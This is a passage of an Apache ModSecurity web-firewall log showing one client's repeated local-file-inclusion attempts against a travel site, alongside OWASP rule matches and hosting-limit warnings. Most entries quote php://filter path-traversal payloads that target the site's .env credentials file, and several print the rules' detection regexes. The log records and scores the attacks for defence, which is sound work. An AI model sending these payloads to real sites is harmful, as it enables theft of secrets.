/?raw=1&view=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&debug=HoedlkdACNgFQWEb4JaVqsyJkuRi5CcpGvmwogX6Y-oOEItCEgI2Z1n1WFkoO0fHMugzc0JY0bnbahqI8cbNTzUrj37F2sq9fG2y7uILZ2Xh_Hw7l-5qsjWeHuBQYsBJ6-PnzEH4iDRPUWju2PhPsTgk2yXGN0PbSIx-6J2tFza8WnjxGBvN7jK8PvFJeOseVbsZCofn-H_1SbuEYyrwA6TmRpVXXfOii2pt8RSW2LevMPl0LI7xnsnEWnrv0VLpsp2tU_e449iR1VyPG8AYkx0L&ref=JO2A7YUUFRWITB666IRWXFULURH4UDJZKACQ5ELLGQ4BJSGNFVP4YIKBKIZXCU3WYZX2C753PU3JTBQYZ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRgAAAAY"]
[Fri Jul 17 08:55:11.497116 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRgAAAAY"]
[Fri Jul 17 08:55:11.497162 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/convert.base64-encode/resource=../../.env&debug=HoedlkdACNgFQWEb4JaVqsyJkuRi5CcpGvmwogX6Y-oOEItCEgI2Z1n1WFkoO0fHMugzc0JY0bnbahqI8cbNTzUrj37F2sq9fG2y7uILZ2Xh_Hw7l-5qsjWeHuBQYsBJ6-PnzEH4iDRPUWju2PhPsTgk2yXGN0PbSIx-6J2tFza8WnjxGBvN7jK8PvFJeOseVbsZCofn-H_1SbuEYyrwA6TmRpVXXfOii2pt8RSW2LevMPl0LI7xnsnEWnrv0VLpsp2tU_e449iR1VyPG8AYkx0L&ref=JO2A7YUUFRWITB666IRWXFULURH4UDJZKACQ5ELLGQ4BJSGNFVP4YIKBKIZXCU3WYZX2C753PU3JTBQYZAHG2NGKWVZO76E5ZS2B7VPLP..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRgAAAAY"]
[Fri Jul 17 08:55:11.497204 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/convert.base64-encode/resource=../../.env&debug=hoedlkdacngfqweb4javqsyjkuri5ccpgvmwogx6y-ooeitcegi2z1n1wfkoo0fhmugzc0jy0bnbahqi8cbntzurj37f2sq9fg2y7uilz2xh_hw7l-5qsjwehubqysbj6-pnzeh4idrpuwju2phpstgk2yxgn0pbsix-6j2tfza8wnjxgbvn7jk8pvfjeosevbszcofn-h_1sbueyyrwa6tmrpvxxfoii2pt8rsw2levmpl0li7xnsnewnrv0vlpsp2tu_e449ir1vypg8aykx0l&ref=jo2a7yuufrwitb666irwxfulurh4udjzkacq5ellgq4bjsgnfvp4yikbkizxcu3wyzx2c753pu3jtbqyzahg2ngkwvzo76e5zs2b7vplp..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRgAAAAY"]
[Fri Jul 17 08:55:11.497226 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hQAAABA"]
[Fri Jul 17 08:55:11.497248 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRgAAAAY"]
[Fri Jul 17 08:55:11.497285 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRgAAAAY"]
[Fri Jul 17 08:55:11.497320 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.497612 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:view: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRgAAAAY"]
[Fri Jul 17 08:55:11.497626 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0kXT4NBqALj2lZ8hQAAABA"]
[Fri Jul 17 08:55:11.497779 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AaAAAAAU"]
[Fri Jul 17 08:55:11.497881 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.498159 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AaAAAAAU"]
[Fri Jul 17 08:55:11.498624 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRgAAAAY"]
[Fri Jul 17 08:55:11.498734 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.499002 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBRgAAAAY"]
[Fri Jul 17 08:55:11.500815 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&view=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&junk=iwt035hQVNB4Vv7I__9DMsHtBaPFWkd7Vcy3qo-F6-N4MItn032EHCH-n32x1qRoNhbwvHenIAFM2kF37fsemLRCAIRpC1_nn25gGbJiFvxJYJABmlTI6nsisLsRLl6LAa9ZDxZE2Nh_4z85r2Sx2t7blUzfsYJVqLzvAow356cKco-DzLOb8OtPZP9I3fI6aWhVJRPPSkXVi0DthAXeOgLs7k1tfihK9M1fSM8BFJYuhe6uEQlJqqwvFX_5SPCvNU13KO7imsPdvpe_dtj5m4Ow&anything=P3SYABWTZ6GYDANVLK34AE6P6YZREM2QNLFLUEJUVHO7FPK3LBSMXBQYCDNVMXYDVMSQU32X..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MNQAAAAc"]
[Fri Jul 17 08:55:11.500867 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MNQAAAAc"]
[Fri Jul 17 08:55:11.500913 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/convert.base64-encode/resource=../../../.env&junk=iwt035hQVNB4Vv7I__9DMsHtBaPFWkd7Vcy3qo-F6-N4MItn032EHCH-n32x1qRoNhbwvHenIAFM2kF37fsemLRCAIRpC1_nn25gGbJiFvxJYJABmlTI6nsisLsRLl6LAa9ZDxZE2Nh_4z85r2Sx2t7blUzfsYJVqLzvAow356cKco-DzLOb8OtPZP9I3fI6aWhVJRPPSkXVi0DthAXeOgLs7k1tfihK9M1fSM8BFJYuhe6uEQlJqqwvFX_5SPCvNU13KO7imsPdvpe_dtj5m4Ow&anything=P3SYABWTZ6GYDANVLK34AE6P6YZREM2QNLFLUEJUVHO7FPK3LBSMXBQYCDNVMXYDVMSQU32XYJ77GZVMWT6IT42MBQ5PYFDAWD..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MNQAAAAc"]
[Fri Jul 17 08:55:11.500952 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/convert.base64-encode/resource=../../../.env&junk=iwt035hqvnb4vv7i__9dmshtbapfwkd7vcy3qo-f6-n4mitn032ehch-n32x1qronhbwvheniafm2kf37fsemlrcairpc1_nn25ggbjifvxjyjabmlti6nsislsrll6laa9zdxze2nh_4z85r2sx2t7bluzfsyjvqlzvaow356ckco-dzlob8otpzp9i3fi6awhvjrppskxvi0dthaxeogls7k1tfihk9m1fsm8bfjyuhe6ueqljqqwvfx_5spcvnu13ko7imspdvpe_dtj5m4ow&anything=p3syabwtz6gydanvlk34ae6p6yzrem2qnlfluejuvho7fpk3lbsmxbqycdnvmxydvmsqu32xyj77gzvmwt6it42mbq5pyfdawd..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MNQAAAAc"]
[Fri Jul 17 08:55:11.500995 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MNQAAAAc"]
[Fri Jul 17 08:55:11.501024 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MNQAAAAc"]
[Fri Jul 17 08:55:11.501381 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:view: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MNQAAAAc"]
[Fri Jul 17 08:55:11.502420 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MNQAAAAc"]
[Fri Jul 17 08:55:11.502583 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.502912 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1h1WDijTxd1xw5MNQAAAAc"]
[Fri Jul 17 08:55:11.504747 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:view: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-MwAAABw"]
[Fri Jul 17 08:55:11.505814 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-MwAAABw"]
[Fri Jul 17 08:55:11.505953 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.506286 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4Zvbo7N5o5zeYC-MwAAABw"]
[Fri Jul 17 08:55:11.509904 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:view: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AaQAAAAU"]
[Fri Jul 17 08:55:11.510897 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AaQAAAAU"]
[Fri Jul 17 08:55:11.511006 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
